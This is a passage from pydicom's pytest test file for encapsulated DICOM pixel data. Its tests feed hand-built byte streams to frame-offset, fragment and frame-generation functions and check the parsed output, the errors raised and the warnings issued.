] | 1
|
2020-11-26T19:53:16.000Z
|
2020-11-26T19:53:16.000Z
|
BatchLabelMap/automatic/pydicom/tests/test_encaps.py
|
weras2/BatchLabelMap
|
56af3d20df79f6b10a5d932278a33d02020d1e59
|
[
"MIT"
] | null | null | null |
# Copyright 2008-2020 pydicom authors. See LICENSE file for details.
"""Test for encaps.py"""
from struct import unpack
import pytest
from pydicom import dcmread
from pydicom.data import get_testdata_file
from pydicom.encaps import (
generate_pixel_data_fragment,
get_frame_offsets,
get_nr_fragments,
generate_pixel_data_frame,
generate_pixel_data,
decode_data_sequence,
defragment_data,
read_item,
fragment_frame,
itemise_frame,
encapsulate,
encapsulate_extended
)
from pydicom.filebase import DicomBytesIO
JP2K_10FRAME_NOBOT = get_testdata_file('emri_small_jpeg_2k_lossless.dcm')
class TestGetFrameOffsets:
"""Test encaps.get_frame_offsets"""
def test_bad_tag(self):
"""Test raises exception if no item tag."""
# (fffe,e100)
bytestream = b'\xFE\xFF\x00\xE1' \
b'\x08\x00\x00\x00' \
b'\x01\x02\x03\x04\x05\x06\x07\x08'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
with pytest.raises(ValueError,
match=r"Unexpected tag '\(fffe, e100\)' when "
r"parsing the Basic Table Offset item"):
get_frame_offsets(fp)
def test_bad_length_multiple(self):
"""Test raises exception if the item length is not a multiple of 4."""
# Length 10
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x0A\x00\x00\x00' \
b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
with pytest.raises(ValueError,
match="The length of the Basic Offset Table item"
" is not a multiple of 4"):
get_frame_offsets(fp)
def test_zero_length(self):
"""Test reading BOT with zero length"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x00\x00\x00\x00'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
assert (False, [0]) == get_frame_offsets(fp)
def test_multi_frame(self):
"""Test reading multi-frame BOT item"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x10\x00\x00\x00' \
b'\x00\x00\x00\x00' \
b'\x66\x13\x00\x00' \
b'\xF4\x25\x00\x00' \
b'\xFE\x37\x00\x00'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
assert (True, [0, 4966, 9716, 14334]) == get_frame_offsets(fp)
def test_single_frame(self):
"""Test reading single-frame BOT item"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x00\x00\x00\x00'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
assert (True, [0]) == get_frame_offsets(fp)
def test_not_little_endian(self):
"""Test reading big endian raises exception"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x00\x00\x00\x00'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = False
with pytest.raises(ValueError,
match="'fp.is_little_endian' must be True"):
get_frame_offsets(fp)
class TestGetNrFragments:
"""Test encaps.get_nr_fragments"""
def test_item_undefined_length(self):
"""Test exception raised if item length undefined."""
bytestream = (
b'\xFE\xFF\x00\xE0'
b'\xFF\xFF\xFF\xFF'
b'\x00\x00\x00\x01'
)
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
with pytest.raises(ValueError):
get_nr_fragments(fp)
def test_item_sequence_delimiter(self):
"""Test that the fragments are returned if seq delimiter hit."""
bytestream = (
b'\xFE\xFF\x00\xE0'
b'\x04\x00\x00\x00'
b'\x01\x00\x00\x00'
b'\xFE\xFF\xDD\xE0'
b'\x00\x00\x00\x00'
b'\xFE\xFF\x00\xE0'
b'\x04\x00\x00\x00'
b'\x02\x00\x00\x00'
)
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
assert 1 == get_nr_fragments(fp)
def test_item_bad_tag(self):
"""Test exception raised if item has unexpected tag"""
bytestream = (
b'\xFE\xFF\x00\xE0'
b'\x04\x00\x00\x00'
b'\x01\x00\x00\x00'
b'\x10\x00\x10\x00'
b'\x00\x00\x00\x00'
b'\xFE\xFF\x00\xE0'
b'\x04\x00\x00\x00'
b'\x02\x00\x00\x00'
)
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
msg = (
r"Unexpected tag '\(0010, 0010\)' at offset 12 when parsing the "
r"encapsulated pixel data fragment items"
)
with pytest.raises(ValueError, match=msg):
get_nr_fragments(fp)
def test_single_fragment_no_delimiter(self):
"""Test single fragment is returned OK"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
assert 1 == get_nr_fragments(fp)
def test_multi_fragments_no_delimiter(self):
"""Test multi fragments are returned OK"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x06\x00\x00\x00' \
b'\x01\x02\x03\x04\x05\x06'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
assert 2 == get_nr_fragments(fp)
def test_single_fragment_delimiter(self):
"""Test single fragment is returned OK with sequence delimiter item"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\xDD\xE0'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
assert 1 == get_nr_fragments(fp)
def test_multi_fragments_delimiter(self):
"""Test multi fragments are returned OK with sequence delimiter item"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x06\x00\x00\x00' \
b'\x01\x02\x03\x04\x05\x06' \
b'\xFE\xFF\xDD\xE0'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
assert 2 == get_nr_fragments(fp)
def test_not_little_endian(self):
"""Test reading big endian raises exception"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = False
with pytest.raises(ValueError,
match="'fp.is_little_endian' must be True"):
get_nr_fragments(fp)
class TestGeneratePixelDataFragment:
"""Test encaps.generate_pixel_data_fragment"""
def test_item_undefined_length(self):
"""Test exception raised if item length undefined."""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\xFF\xFF\xFF\xFF' \
b'\x00\x00\x00\x01'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
fragments = generate_pixel_data_fragment(fp)
with pytest.raises(ValueError,
match="Undefined item length at offset 4 when "
"parsing the encapsulated pixel data "
"fragments"):
next(fragments)
pytest.raises(StopIteration, next, fragments)
def test_item_sequence_delimiter(self):
"""Test that the fragments are returned if seq delimiter hit."""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\xDD\xE0' \
b'\x00\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x02\x00\x00\x00'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
fragments = generate_pixel_data_fragment(fp)
assert next(fragments) == b'\x01\x00\x00\x00'
pytest.raises(StopIteration, next, fragments)
def test_item_bad_tag(self):
"""Test exception raised if item has unexpected tag"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\x10\x00\x10\x00' \
b'\x00\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x02\x00\x00\x00'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
fragments = generate_pixel_data_fragment(fp)
assert next(fragments) == b'\x01\x00\x00\x00'
with pytest.raises(ValueError,
match=r"Unexpected tag '\(0010, 0010\)' at offset "
r"12 when parsing the encapsulated pixel "
r"data fragment items"):
next(fragments)
pytest.raises(StopIteration, next, fragments)
def test_single_fragment_no_delimiter(self):
"""Test single fragment is returned OK"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
fragments = generate_pixel_data_fragment(fp)
assert next(fragments) == b'\x01\x00\x00\x00'
pytest.raises(StopIteration, next, fragments)
def test_multi_fragments_no_delimiter(self):
"""Test multi fragments are returned OK"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x06\x00\x00\x00' \
b'\x01\x02\x03\x04\x05\x06'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
fragments = generate_pixel_data_fragment(fp)
assert next(fragments) == b'\x01\x00\x00\x00'
assert next(fragments) == b'\x01\x02\x03\x04\x05\x06'
pytest.raises(StopIteration, next, fragments)
def test_single_fragment_delimiter(self):
"""Test single fragment is returned OK with sequence delimiter item"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\xDD\xE0'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
fragments = generate_pixel_data_fragment(fp)
assert next(fragments) == b'\x01\x00\x00\x00'
pytest.raises(StopIteration, next, fragments)
def test_multi_fragments_delimiter(self):
"""Test multi fragments are returned OK with sequence delimiter item"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x06\x00\x00\x00' \
b'\x01\x02\x03\x04\x05\x06' \
b'\xFE\xFF\xDD\xE0'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = True
fragments = generate_pixel_data_fragment(fp)
assert next(fragments) == b'\x01\x00\x00\x00'
assert next(fragments) == b'\x01\x02\x03\x04\x05\x06'
pytest.raises(StopIteration, next, fragments)
def test_not_little_endian(self):
"""Test reading big endian raises exception"""
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00'
fp = DicomBytesIO(bytestream)
fp.is_little_endian = False
fragments = generate_pixel_data_fragment(fp)
with pytest.raises(ValueError,
match="'fp.is_little_endian' must be True"):
next(fragments)
pytest.raises(StopIteration, next, fragments)
class TestGeneratePixelDataFrames:
"""Test encaps.generate_pixel_data_frames"""
def test_empty_bot_single_fragment(self):
"""Test a single-frame image where the frame is one fragments"""
# 1 frame, 1 fragment long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x00\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00'
frames = generate_pixel_data_frame(bytestream)
assert next(frames) == b'\x01\x00\x00\x00'
pytest.raises(StopIteration, next, frames)
def test_empty_bot_triple_fragment_single_frame(self):
"""Test a single-frame image where the frame is three fragments"""
# 1 frame, 3 fragments long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x00\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x03\x00\x00\x00'
frames = generate_pixel_data_frame(bytestream, 1)
assert next(frames) == (
b'\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00'
)
pytest.raises(StopIteration, next, frames)
def test_bot_single_fragment(self):
"""Test a single-frame image where the frame is one fragment"""
# 1 frame, 1 fragment long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x00\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00'
frames = generate_pixel_data_frame(bytestream)
assert next(frames) == b'\x01\x00\x00\x00'
pytest.raises(StopIteration, next, frames)
def test_bot_triple_fragment_single_frame(self):
"""Test a single-frame image where the frame is three fragments"""
# 1 frame, 3 fragments long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x00\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x03\x00\x00\x00'
frames = generate_pixel_data_frame(bytestream)
assert next(frames) == (
b'\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00'
)
pytest.raises(StopIteration, next, frames)
def test_multi_frame_one_to_one(self):
"""Test a multi-frame image where each frame is one fragment"""
# 3 frames, each 1 fragment long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x0C\x00\x00\x00' \
b'\x00\x00\x00\x00' \
b'\x0C\x00\x00\x00' \
b'\x18\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x03\x00\x00\x00'
frames = generate_pixel_data_frame(bytestream)
assert next(frames) == b'\x01\x00\x00\x00'
assert next(frames) == b'\x02\x00\x00\x00'
assert next(frames) == b'\x03\x00\x00\x00'
pytest.raises(StopIteration, next, frames)
def test_multi_frame_three_to_one(self):
"""Test a multi-frame image where each frame is three fragments"""
# 2 frames, each 3 fragments long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x0C\x00\x00\x00' \
b'\x00\x00\x00\x00' \
b'\x20\x00\x00\x00' \
b'\x40\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x03\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x03\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x03\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x03\x00\x00\x00'
frames = generate_pixel_data_frame(bytestream)
assert next(frames) == (
b'\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00'
)
assert next(frames) == (
b'\x02\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00'
)
assert next(frames) == (
b'\x03\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00'
)
pytest.raises(StopIteration, next, frames)
def test_multi_frame_varied_ratio(self):
"""Test a multi-frame image where each frames is random fragments"""
# 3 frames, 1st is 1 fragment, 2nd is 3 fragments, 3rd is 2 fragments
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x0C\x00\x00\x00' \
b'\x00\x00\x00\x00' \
b'\x0E\x00\x00\x00' \
b'\x32\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x06\x00\x00\x00\x01\x00\x00\x00\x00\x01' \
b'\xFE\xFF\x00\xE0' \
b'\x02\x00\x00\x00\x02\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x06\x00\x00\x00\x03\x00\x00\x00\x00\x02' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00\x03\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x02\x00\x00\x00\x02\x04'
frames = generate_pixel_data_frame(bytestream)
assert next(frames) == b'\x01\x00\x00\x00\x00\x01'
assert next(frames) == (
b'\x02\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00\x02'
)
assert next(frames) == b'\x03\x00\x00\x00\x02\x04'
pytest.raises(StopIteration, next, frames)
def test_empty_bot_multi_fragments_per_frame(self):
"""Test multi-frame where multiple frags per frame and no BOT."""
# Regression test for #685
ds = dcmread(JP2K_10FRAME_NOBOT)
assert 10 == ds.NumberOfFrames
frame_gen = generate_pixel_data_frame(ds.PixelData, ds.NumberOfFrames)
for ii in range(10):
next(frame_gen)
with pytest.raises(StopIteration):
next(frame_gen)
class TestGeneratePixelData:
"""Test encaps.generate_pixel_data"""
def test_empty_bot_single_fragment(self):
"""Test a single-frame image where the frame is one fragments"""
# 1 frame, 1 fragment long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x00\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00'
frames = generate_pixel_data(bytestream)
assert next(frames) == (b'\x01\x00\x00\x00', )
pytest.raises(StopIteration, next, frames)
def test_empty_bot_triple_fragment_single_frame(self):
"""Test a single-frame image where the frame is three fragments"""
# 1 frame, 3 fragments long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x00\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x03\x00\x00\x00'
frames = generate_pixel_data(bytestream, 1)
assert next(frames) == (b'\x01\x00\x00\x00',
b'\x02\x00\x00\x00',
b'\x03\x00\x00\x00')
pytest.raises(StopIteration, next, frames)
def test_empty_bot_no_nr_frames_raises(self):
"""Test parsing raises if not BOT and no nr_frames."""
# 1 frame, 3 fragments long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x00\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x03\x00\x00\x00'
msg = (
r"Unable to determine the frame boundaries for the "
r"encapsulated pixel data as the Basic Offset Table is empty "
r"and `nr_frames` parameter is None"
)
with pytest.raises(ValueError, match=msg):
next(generate_pixel_data(bytestream))
def test_empty_bot_too_few_fragments(self):
"""Test parsing with too few fragments."""
ds = dcmread(JP2K_10FRAME_NOBOT)
assert 10 == ds.NumberOfFrames
msg = (
r"Unable to parse encapsulated pixel data as the Basic "
r"Offset Table is empty and there are fewer fragments then "
r"frames; the dataset may be corrupt"
)
with pytest.raises(ValueError, match=msg):
next(generate_pixel_data_frame(ds.PixelData, 20))
def test_empty_bot_multi_fragments_per_frame(self):
"""Test parsing with multiple fragments per frame."""
# 4 frames in 6 fragments with JPEG EOI marker
bytestream = (
b'\xFE\xFF\x00\xE0\x00\x00\x00\x00'
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\x00\x00\x00'
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\xFF\xD9\x00'
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\x00\xFF\xD9'
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\xFF\xD9\x00'
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\x00\x00\x00'
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\xFF\xD9\x00'
)
frames = generate_pixel_data(bytestream, 4)
for ii in range(4):
next(frames)
with pytest.raises(StopIteration):
next(frames)
def test_empty_bot_no_marker(self):
"""Test parsing not BOT and no final marker with multi fragments."""
# 4 frames in 6 fragments with JPEG EOI marker (1 missing EOI)
bytestream = (
b'\xFE\xFF\x00\xE0\x00\x00\x00\x00'
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\x00\x00\x00'
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\xFF\xD9\x00'
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\x00\x00\x00'
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\xFF\xD9\x00'
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\xFF\xFF\xD9'
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\xFF\x00\x00'
)
frames = generate_pixel_data(bytestream, 4)
for ii in range(3):
next(frames)
msg = (
r"The end of the encapsulated pixel data has been "
r"reached but one or more frame boundaries may have "
r"been missed; please confirm that the generated frame "
r"data is correct"
)
with pytest.warns(UserWarning, match=msg):
next(frames)
with pytest.raises(StopIteration):
next(frames)
def test_empty_bot_missing_marker(self):
"""Test parsing not BOT and missing marker with multi fragments."""
# 4 frames in 6 fragments with JPEG EOI marker (1 missing EOI)
bytestream = (
b'\xFE\xFF\x00\xE0\x00\x00\x00\x00'
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\x00\x00\x00'
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\xFF\xD9\x00'
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\x00\x00\x00'
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\xFF\x00\x00'
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\xFF\xFF\xD9'
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\xFF\xD9\x00'
)
msg = (
r"The end of the encapsulated pixel data has been "
r"reached but one or more frame boundaries may have "
r"been missed; please confirm that the generated frame "
r"data is correct"
)
with pytest.warns(UserWarning, match=msg):
ii = 0
for frames in generate_pixel_data(bytestream, 4):
ii += 1
assert 3 == ii
def test_bot_single_fragment(self):
"""Test a single-frame image where the frame is one fragment"""
# 1 frame, 1 fragment long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x00\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00'
frames = generate_pixel_data(bytestream)
assert next(frames) == (b'\x01\x00\x00\x00', )
pytest.raises(StopIteration, next, frames)
def test_bot_triple_fragment_single_frame(self):
"""Test a single-frame image where the frame is three fragments"""
# 1 frame, 3 fragments long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x00\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x03\x00\x00\x00'
frames = generate_pixel_data(bytestream)
assert next(frames) == (b'\x01\x00\x00\x00',
b'\x02\x00\x00\x00',
b'\x03\x00\x00\x00')
pytest.raises(StopIteration, next, frames)
def test_multi_frame_one_to_one(self):
"""Test a multi-frame image where each frame is one fragment"""
# 3 frames, each 1 fragment long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x0C\x00\x00\x00' \
b'\x00\x00\x00\x00' \
b'\x0C\x00\x00\x00' \
b'\x18\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x03\x00\x00\x00'
frames = generate_pixel_data(bytestream)
assert next(frames) == (b'\x01\x00\x00\x00', )
assert next(frames) == (b'\x02\x00\x00\x00', )
assert next(frames) == (b'\x03\x00\x00\x00', )
pytest.raises(StopIteration, next, frames)
def test_multi_frame_three_to_one(self):
"""Test a multi-frame image where each frame is three fragments"""
# 2 frames, each 3 fragments long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x0C\x00\x00\x00' \
b'\x00\x00\x00\x00' \
b'\x20\x00\x00\x00' \
b'\x40\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x03\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x03\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x03\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0\x04\x00\x00\x00\x03\x00\x00\x00'
frames = generate_pixel_data(bytestream)
assert next(frames) == (b'\x01\x00\x00\x00',
b'\x02\x00\x00\x00',
b'\x03\x00\x00\x00')
assert next(frames) == (b'\x02\x00\x00\x00',
b'\x02\x00\x00\x00',
b'\x03\x00\x00\x00')
assert next(frames) == (b'\x03\x00\x00\x00',
b'\x02\x00\x00\x00',
b'\x03\x00\x00\x00')
pytest.raises(StopIteration, next, frames)
def test_multi_frame_varied_ratio(self):
"""Test a multi-frame image where each frames is random fragments"""
# 3 frames, 1st is 1 fragment, 2nd is 3 fragments, 3rd is 2 fragments
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x0C\x00\x00\x00' \
b'\x00\x00\x00\x00' \
b'\x0E\x00\x00\x00' \
b'\x32\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x06\x00\x00\x00\x01\x00\x00\x00\x00\x01' \
b'\xFE\xFF\x00\xE0' \
b'\x02\x00\x00\x00\x02\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x06\x00\x00\x00\x03\x00\x00\x00\x00\x02' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00\x03\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x02\x00\x00\x00\x02\x04'
frames = generate_pixel_data(bytestream)
assert next(frames) == (b'\x01\x00\x00\x00\x00\x01', )
assert next(frames) == (b'\x02\x00', b'\x02\x00\x00\x00',
b'\x03\x00\x00\x00\x00\x02')
assert next(frames) == (b'\x03\x00\x00\x00', b'\x02\x04')
pytest.raises(StopIteration, next, frames)
class TestDecodeDataSequence:
"""Test encaps.decode_data_sequence"""
def test_empty_bot_single_fragment(self):
"""Test a single-frame image where the frame is one fragments"""
# 1 frame, 1 fragment long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x00\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00'
frames = decode_data_sequence(bytestream)
assert frames == [b'\x01\x00\x00\x00']
def test_empty_bot_triple_fragment_single_frame(self):
"""Test a single-frame image where the frame is three fragments"""
# 1 frame, 3 fragments long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x00\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x03\x00\x00\x00'
frames = decode_data_sequence(bytestream)
assert frames == [b'\x01\x00\x00\x00',
b'\x02\x00\x00\x00',
b'\x03\x00\x00\x00']
def test_bot_single_fragment(self):
"""Test a single-frame image where the frame is one fragment"""
# 1 frame, 1 fragment long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x00\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00'
frames = decode_data_sequence(bytestream)
assert frames == [b'\x01\x00\x00\x00']
def test_bot_triple_fragment_single_frame(self):
"""Test a single-frame image where the frame is three fragments"""
# 1 frame, 3 fragments long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x00\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x03\x00\x00\x00'
frames = decode_data_sequence(bytestream)
assert frames == [b'\x01\x00\x00\x00',
b'\x02\x00\x00\x00',
b'\x03\x00\x00\x00']
def test_multi_frame_one_to_one(self):
"""Test a multi-frame image where each frame is one fragment"""
# 3 frames, each 1 fragment long
bytestream = b'\xFE\xFF\x00\xE0' \
b'\x0C\x00\x00\x00' \
b'\x00\x00\x00\x00' \
b'\x0C\x00\x00\x00' \
b'\x18\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x01\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x02\x00\x00\x00' \
b'\xFE\xFF\x00\xE0' \
b'\x04\x00\x00\x00' \
b'\x03\x00\x00\x00'
frames = decode_data_sequence(bytestream)
assert frames == [b'\x01\x00\x00\x00',
b'\x02\x00\x00\x00',
b'\x03\x00\x00\x00']
def test_multi_frame_three_to_one(self):
"""Test a multi-frame image where each frame is three fragments"""
